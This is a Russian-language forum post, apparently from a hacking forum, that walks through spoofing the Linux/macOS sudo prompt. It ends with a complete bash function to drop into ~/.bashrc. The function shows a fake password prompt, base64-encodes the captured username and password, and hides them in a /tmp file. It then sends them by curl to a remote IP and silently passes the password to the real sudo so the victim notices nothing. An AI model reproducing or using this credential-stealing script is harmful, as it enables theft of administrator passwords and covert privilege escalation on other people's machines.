13.10.2020 13:50
Occul
 
Для начала немного разберем что такое sudo, по сути это процесс, утилита при помощи которой можно выполнять те или иные операции, запускать программы от имени других пользователей, чаще всего root-пользователей... Во время выполнения команды sudo происходит запрос пароля пользователя использующего данную команду, обычно строка запроса пароля выглядит следующим образом:

Код:
[sudo] password for <username>:
Далее посмотрим информацию о самом sudo, а вернее о самой команде:
Код:
type sudo
sudo is /usr/bin/sudo
Ок, собственно минимально-необходимым требованием для введения атакуемого пользователя в заблуждения нам нужно как минимум два фактора.

Подмена sudo
Нет заменять ничего не будем, достаточно будет добавить соответствующий псевдоним для данной команды, в Linux это может быть файл ~/.bashrc, в macOS ~/.bash_profile, далее используя псевдоним можно использовать "липовый" запрос пароля:
Код:
read -s -p "[sudo] password for $USER: " inputPwd
Данные из полученной переменной можно "положить" в определенный файл:
Код:
printf "\n"; printf '%s\n' $encoded > /tmp/.cached_$USER
Где переменная $encoded, дабы содержимое файла не было прям уж читаемым, содержит обертку связки имени пользователя и пароля в base64:
Код:
encoded=$(echo "$USER : $inputPwd" | base64) > /dev/null 2>&1
Далее пароль можно передать в реальный sudo и выполнить вводимую пользователем команду:
Код:
$realsudo -S -u root bash -c "exit" <<< "$inputPwd" > /dev/null 2>&1
$realsudo "${@:1}"
Отправка данных на удаленный сервер
Далее используя любой удобный способ, например при помощи python3 запускаем web-server:
Код:
python3 -m http.server 88
Немного обновляем наш псевдоним, добавляя в него строчку с IP адресом удаленного сервера:
Код:
curl -s "http://77.37.184.187/$encoded" > /dev/null 2>&1
Где 77.37.184.187 - IP тестового сервера


декодируем:
Код:
$ echo dXNlciA6IFBAJCQK | base64 -d
user : P@$$
Итоговый скрипт
Код:
function sudo ()
{
    realsudo="$(which sudo)"
    read -s -p "[sudo] password for $USER: " inputPwd
    encoded=$(echo "$USER : $inputPwd" | base64) > /dev/null 2>&1
    printf "\n"; printf '%s\n' $encoded >> /tmp/.cached_$USER
    curl -s "http://77.37.184.187/$encoded" > /dev/null 2>&1
    $realsudo -S -u root bash -c "exit" <<< "$inputPwd" > /dev/null 2>&1
    $realsudo "${@:1}"
}

Форум на базе vBulletin®
Copyright © Jelsoft Enterprises Ltd.
В случае заимствования информации гипертекстовая индексируемая ссылка на Форум обязательна.